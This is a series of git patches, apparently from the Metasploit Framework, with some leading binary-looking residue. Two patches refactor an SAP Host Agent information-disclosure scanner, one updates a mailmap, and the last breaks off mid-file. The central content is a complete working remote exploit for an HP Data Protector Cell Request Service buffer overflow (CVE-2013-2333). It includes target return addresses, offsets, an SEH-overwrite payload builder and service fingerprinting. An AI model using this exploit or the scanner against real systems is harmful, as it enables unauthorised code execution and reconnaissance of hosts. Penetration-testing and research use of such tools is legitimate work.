zzZicvRvE>nD3czCl6j^)A+h-gr-9E+Cy>xwGTkyYFiYKLtGT!NPeiy}>sssA)}QDa zRfzDJGtR!U2C^Voa|9-(tcz@bY@E!AouUx&{E*zL=%M%>u{=SUrreHr(E`dItXiRJ zsfpJVYFcRZx-Pog`h~~>!eROCj5-`PuNbAK6{a2LPt6(DN-I*(>mnwD9*1&e9@*Qn z?J|}875Nfesf<$3P@mSF#j)`l-S;?HU&B?zE!}P1pEzK9b;tBSKpPDV6Ahbac3dqI fGUqZ?1THaV7#1S4JBB+0NpZuE0v<)KlLh@hHv2KC From c264480651f605e4608dcba97c424526291f0ad1 Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Thu, 10 Oct 2013 11:58:33 +0100 Subject: [PATCH 169/210] Code cleanup, tried to implement suggestions from @jvazquez-r7. Hopefully is much more readable. --- .../sap/sap_hostctrl_getcomputersystem.rb | 413 +++++++++--------- 1 file changed, 202 insertions(+), 211 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 46f4eb7dec..1976efbc18 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -14,6 +14,7 @@ class Metasploit4 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + def initialize super( 'Name' => 'SAP Host Agent Information Disclosure', @@ -42,15 +43,12 @@ class Metasploit4 < Msf::Auxiliary register_autofilter_ports([1128]) + end + def initialize_tables - def parse_computer_info(computer_info) - - item_list = [] - success = false - - computer_table = Msf::Ui::Console::Table.new( + @computer_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Remote Computer Listing", 'Prefix' => "\n", @@ -63,146 +61,142 @@ class Metasploit4 < Msf::Auxiliary "IPAddresses" ]) + @os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + @process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + + @fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) + + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + end + + def parse_computer_info(computer_info) + + success = false computer_info.each { |item| + temp_table =[] + body = "#{item}" + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) - if item_list + if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ - if "#{item_list}" =~ /ITSAMComputerSystem/ - - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - computer_table << [temp_table[0], temp_table[1], temp_table[2]] - success = true # we have at least one response + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) end + @computer_table << [temp_table[0], temp_table[1], temp_table[2]] + success = true end } - return computer_table, success - + return success end - def parse_os_info(os_table, os_info) - - if os_table == nil - - os_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote OS Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Type", - "Version", - "TotalMemSize", - "Load Avg 1m", - "Load Avg 5m", - "Load Avg 15m", - "CPUs", - "CPU User", - "CPU Sys", - "CPU Idle" - ]) - end - - os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], - os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] - return os_table - + def parse_os_info(os_info) + @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], + os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] end - def parse_process_info(process_table, process_info) - - if process_table == nil - - process_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Process Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" - ]) - end - process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], - process_info[5], process_info[6]+'%', process_info[7], process_info[8]] - return process_table + def parse_process_info(process_info) + @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], + process_info[5], process_info[6]+'%', process_info[7], process_info[8]] end - def parse_fs_info(fs_table, fs_info) - - if fs_table == nil - - fs_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Filesystem Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Size", - "Available", - "Remote" - ]) - end - - fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] - return fs_table + def parse_fs_info(fs_info) + @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] end - def parse_net_info(net_table, net_info) - - if net_table == nil - - net_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) - end - - net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] - return net_table + def parse_net_info(net_info) + @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] end + def run_host(rhost) rport = datastore['RPORT'] vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") - success = false - fault = false - data = '<?xml version="1.0" encoding="utf-8"?>' data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"' data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">' @@ -224,105 +218,102 @@ class Metasploit4 < Msf::Auxiliary } }) - - if res and res.code == 500 - if res.body =~ /<faultstring>(.*)<\/faultstring>/i - faultcode = $1.strip - fault = true - end - - elsif res.code != 200 - vprint_error("#{rhost}:#{rport} - Error in response") - end - - vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") - - sap_tables =[] - - response_xml = REXML::Document.new(res.body) - - computer_info = response_xml.elements.to_a("//mProperties/") # Computer info - - detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info - - - sap_tables[0], success = parse_computer_info(computer_info) - - detailed_info.each { |item| - temp_table =[] - item_list = [] - # some items have no <mValue>, so we put a dummy with nil - body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") - item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) -<\/mValue><\/item>/ix) - - if item_list - - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - case "#{item_list}" - when /ITSAMOperatingSystem/ - sap_tables[1] = parse_os_info(sap_tables[1], temp_table) - success = true # we have at least one response - - when /ITSAMOSProcess/ - sap_tables[2] = parse_process_info(sap_tables[2], temp_table) - success = true # we have at least one response - - when /ITSAMFileSystem/ - sap_tables[3] = parse_fs_info(sap_tables[3], temp_table) - success = true # we have at least one response - - when /ITSAMNetworkPort/ - sap_tables[4] = parse_net_info(sap_tables[4], temp_table) - success = true # we have at least one response - end - - end - } - rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Unable to connect to service") return end + if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i + faultcode = $1.strip + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") + return + + elsif res and res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response") + return + end + + initialize_tables() + + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + + begin + response_xml = REXML::Document.new(res.body) + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + rescue + print_error("#{rhost}:#{rport} - Unable to parse XML response") + return + end + + success = parse_computer_info(computer_info) + # assume that if we can parse the first part, it is a valid SAP XML response + + detailed_info.each { |item| + temp_table =[] + + # some items have no <mValue>, so we put a dummy with nil + body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) +<\/mValue><\/item>/ix) + + if item_list + + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + case "#{item_list}" + when /ITSAMOperatingSystem/ + parse_os_info(temp_table) + + when /ITSAMOSProcess/ + parse_process_info(temp_table) + + when /ITSAMFileSystem/ + parse_fs_info(temp_table) + + when /ITSAMNetworkPort/ + parse_net_info(temp_table) + + end + + end + } if success print_good("#{rhost}:#{rport} - Information retrieved successfully") - - sap_tables_clean = '' - - sap_tables.each do |t| - sap_tables_clean << t.to_s - end - - vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) - - xml_raw = store_loot( - "sap.getcomputersystem", - "text/xml", - rhost, - res.body, - "sap_getcomputersystem.xml", - "SAP GetComputerSystem XML" - ) - - xml_parsed = store_loot( - "sap.getcomputersystem", - "text/plain", - rhost, - sap_tables_clean, - "sap_getcomputersystem.txt", - "SAP GetComputerSystem XML" - ) - - vprint_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") - - elsif fault - vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") else - vprint_error("#{rhost}:#{rport} - Failed to parse list") + print_error("#{rhost}:#{rport} - Unable to parse reply") + return end + + sap_tables_clean = '' + + [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| + sap_tables_clean << t.to_s + end + + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + + xml_raw = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) + + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) + + print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") + end end From 4870df14e6a7bf49bc9f8973162f5c333893424f Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 10 Oct 2013 10:00:19 -0500 Subject: [PATCH 170/210] Add another mailmap for joev. --- .mailmap | 1 + 1 file changed, 1 insertion(+) diff --git a/.mailmap b/.mailmap index 4a85ec1c7b..7b9839f967 100644 --- a/.mailmap +++ b/.mailmap @@ -7,6 +7,7 @@ hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net> jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com> +joev-r7 <joev-r7@github> joev <joev@metasploit.com> joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com> jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com> limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com> From f10078088cd1d073b450ba7a768abbe1af506054 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 10 Oct 2013 10:06:17 -0500 Subject: [PATCH 171/210] Add module for ZDI-13-130 --- .../windows/misc/hp_dataprotector_crs.rb | 258 ++++++++++++++++++ 1 file changed, 258 insertions(+) create mode 100644 modules/exploits/windows/misc/hp_dataprotector_crs.rb diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb new file mode 100644 index 0000000000..53348ce4ee --- /dev/null +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -0,0 +1,258 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Data Protector Cell Request Service Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector + product. The vulnerability, due to the insecure usage of _swprintf, exist at the Cell + Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested + successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3. + }, + 'Author' => + [ + 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-2333' ], + [ 'OSVDB', '93867' ], + [ 'BID', '60309' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-130/' ] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 4096, + 'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'HP Data Protector 6.20 build 370 / Windows XP SP3', + { + 'Ret' => 0x00436fe2, # ppr from crs.exe + 'Offset' => 15578 + } + ], + [ 'HP Data Protector 7.00 build 72 / Windows XP SP3', + { + 'Ret' => 0x004cf8c1, # ppr from crs.exe + 'Offset' => 15578 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 03 2013')) + + deregister_options('RPORT') # The CRS service runs on a random port + end + + def build_pkt(fields) + data = "\xff\xfe" # BOM Unicode + fields.each do |k, v| + if k == "Payload" + data << "#{v}\x00\x00" + else + data << "#{Rex::Text.to_unicode(v)}\x00\x00" + end + data << Rex::Text.to_unicode(" ") # Separator + end + + data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator + data << "\x00\x00" # Ending + return [data.length].pack("N") + data + end + + def get_fingerprint + ommni = connect(false, {'RPORT' => 5555}) + ommni.put(rand_text_alpha_upper(64)) + resp = ommni.get_once(-1) + disconnect + + if resp.nil? + return nil + end + + return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl + end + + def get_crs_port + + pkt = build_pkt({ + "Opcode" => "2", + "FakeMachineName" => rand_text_alpha(8), + "Unknown1" => "0", + "FakeDomainUser" => rand_text_alpha(8), + "FakeDomain" => rand_text_alpha(8), + "FakeLanguage" => rand_text_alpha(8), + "Unknown2" => "15" + }) + ommni = connect(false, {'RPORT' => 5555}) + ommni.put(pkt) + resp = ommni.get_once(-1) + disconnect + + if resp.nil? + return nil + end + + res_length, bom_unicode, res_data = resp.unpack("Nna*") + + fields = res_data.split(Rex::Text.to_unicode(" ")) + + opcode = fields[0] + port = fields[1] + + if not opcode or not port + vprint_error("Unexpected response") + return nil + end + + opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00")) + + if opcode != "109" + vprint_error("Unexpected opcode #{opcode} in the response") + return nil + end + + port = Rex::Text.to_ascii(port.chomp("\x00\x00")) + return port.to_i + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + return Exploit::CheckCode::Unknown + end + + port = get_crs_port + + if port.nil? + print_status("HP Data Protector version #{fingerprint}") + print_error("But CRS port not found") + else + print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") + end + + if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + return Exploit::CheckCode::Vulnerable + elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + return Exploit::CheckCode::Vulnerable + elsif fingerprint =~ /HP Data Protector A.07.00/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A.07.01/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A.06.20/ + return Exploit::CheckCode::Appears + elsif fingerprint =~ /HP Data Protector A.06.21/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_target + fingerprint = get_fingerprint + + if fingerprint.nil? + return nil + end + + if fingerprint =~ /HP Data Protector A.06.20: INET, internal build 370/ + return targets[1] + elsif fingerprint =~ /HP Data Protector A.07.00: INET, internal build 72/ + return targets[2] + else + return nil + end + end + + def exploit + + if target.name =~ /Automatic/ + print_status("Trying to find the target version...") + my_target = get_target + else + my_target = target + end + + if my_target.nil? + fail_with(Failure::NoTarget, "Failed to autodetect target") + end + + print_status("Trying to find the CRS service port...") + port = get_crs_port + if port.nil? + fail_with(Failure::NotFound, "The CRS service has not been found.") + else + print_good("CRS service found on #{port}/TCP") + connect(true, {'RPORT' => port}) + end + + pkt = build_pkt({ + "Opcode" => "0", + "EndPoint" => "GUICORE", + "ClientFingerprint" => "HP OpenView OmniBack II A.06.20", + "FakeUsername" => rand_text_alpha(8), + "FakeDomain" => rand_text_alpha(8), + "Unknown1" => "488", + "Unknown2" => rand_text_alpha(8) + }) + print_status("Sending packet with opcode 0...") + sock.put(pkt) + data = sock.get_once(-1) + + if data.nil? + fail_with(Failure::Unknown, "Error while communicating with the CRS Service") + end + + if Rex::Text.to_ascii(data) !~ /NT-5\.1/ + fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets") + end + + pkt = build_pkt({ + "Opcode" => "225" + }) + print_status("Sending packet with opcode 225...") + sock.put(pkt) + data = sock.get_once(-1) + + if data.nil? + fail_with(Failure::Unknown, "Error while communicating with the CRS Service") + end + + bof = payload.encoded + bof << rand_text(my_target["Offset"] - payload.encoded.length) + bof << generate_seh_record(my_target.ret) + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string + bof << rand_text(100) # Trigger Exception + + pkt = build_pkt({ + "Opcode" => "211", + "Payload" => bof + }) + print_status("Sending malicious packet with opcode 211...") + sock.put(pkt) + disconnect + end + +end From 9516bc5cf7034bc5517bb7f7d7680fdd8e087ad4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 10 Oct 2013 11:02:51 -0500 Subject: [PATCH 172/210] Retab changes for PR #2142 --- .../sap/sap_hostctrl_getcomputersystem.rb | 498 +++++++++--------- 1 file changed, 249 insertions(+), 249 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 1976efbc18..9541a0cfff 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -10,310 +10,310 @@ require 'rexml/document' class Metasploit4 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'SAP Host Agent Information Disclosure', - 'Description' => %q{ - This module attempts to retrieve Computer and OS info from Host Agent - through the SAP HostControl service - }, - 'References' => - [ - # General - ['CVE', '2013-3319'], - ['URL', 'https://service.sap.com/sap/support/notes/1816536'], - ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] - ], - 'Author' => - [ - 'Bruno Morisson <bm[at]integrity.pt>' - ], - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'SAP Host Agent Information Disclosure', + 'Description' => %q{ + This module attempts to retrieve Computer and OS info from Host Agent + through the SAP HostControl service + }, + 'References' => + [ + # General + ['CVE', '2013-3319'], + ['URL', 'https://service.sap.com/sap/support/notes/1816536'], + ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] + ], + 'Author' => + [ + 'Bruno Morisson <bm[at]integrity.pt>' + ], + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT(1128) - ], self.class) + register_options( + [ + Opt::RPORT(1128) + ], self.class) - register_autofilter_ports([1128]) + register_autofilter_ports([1128]) - end + end - def initialize_tables + def initialize_tables - @computer_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Computer Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Names", - "Hostnames", - "IPAddresses" - ]) + @computer_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) - @os_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote OS Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Type", - "Version", - "TotalMemSize", - "Load Avg 1m", - "Load Avg 5m", - "Load Avg 15m", - "CPUs", - "CPU User", - "CPU Sys", - "CPU Idle" - ]) - @net_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) + @os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) - @process_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Process Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" - ]) + @process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) - @fs_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Filesystem Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Size", - "Available", - "Remote" - ]) + @fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) - @net_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) - end + end - def parse_computer_info(computer_info) + def parse_computer_info(computer_info) - success = false - computer_info.each { |item| + success = false + computer_info.each { |item| - temp_table =[] + temp_table =[] - body = "#{item}" + body = "#{item}" - item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) - if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ + if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end - @computer_table << [temp_table[0], temp_table[1], temp_table[2]] - success = true - end - } - return success - end + @computer_table << [temp_table[0], temp_table[1], temp_table[2]] + success = true + end + } + return success + end - def parse_os_info(os_info) - @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], - os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] - end + def parse_os_info(os_info) + @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], + os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] + end - def parse_process_info(process_info) - @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], - process_info[5], process_info[6]+'%', process_info[7], process_info[8]] - end + def parse_process_info(process_info) + @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], + process_info[5], process_info[6]+'%', process_info[7], process_info[8]] + end - def parse_fs_info(fs_info) - @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] - end + def parse_fs_info(fs_info) + @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] + end - def parse_net_info(net_info) - @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] - end + def parse_net_info(net_info) + @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] + end - def run_host(rhost) + def run_host(rhost) - rport = datastore['RPORT'] + rport = datastore['RPORT'] - vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") + vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") - data = '<?xml version="1.0" encoding="utf-8"?>' - data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"' - data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">' - data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">' - data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>' - data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>' - data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>' - data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n" + data = '<?xml version="1.0" encoding="utf-8"?>' + data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"' + data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">' + data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">' + data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>' + data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>' + data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>' + data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n" - begin + begin - res = send_request_raw( - { - 'uri' => "/", - 'method' => 'POST', - 'data' => data, - 'headers' => { - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }) + res = send_request_raw( + { + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'text/xml; 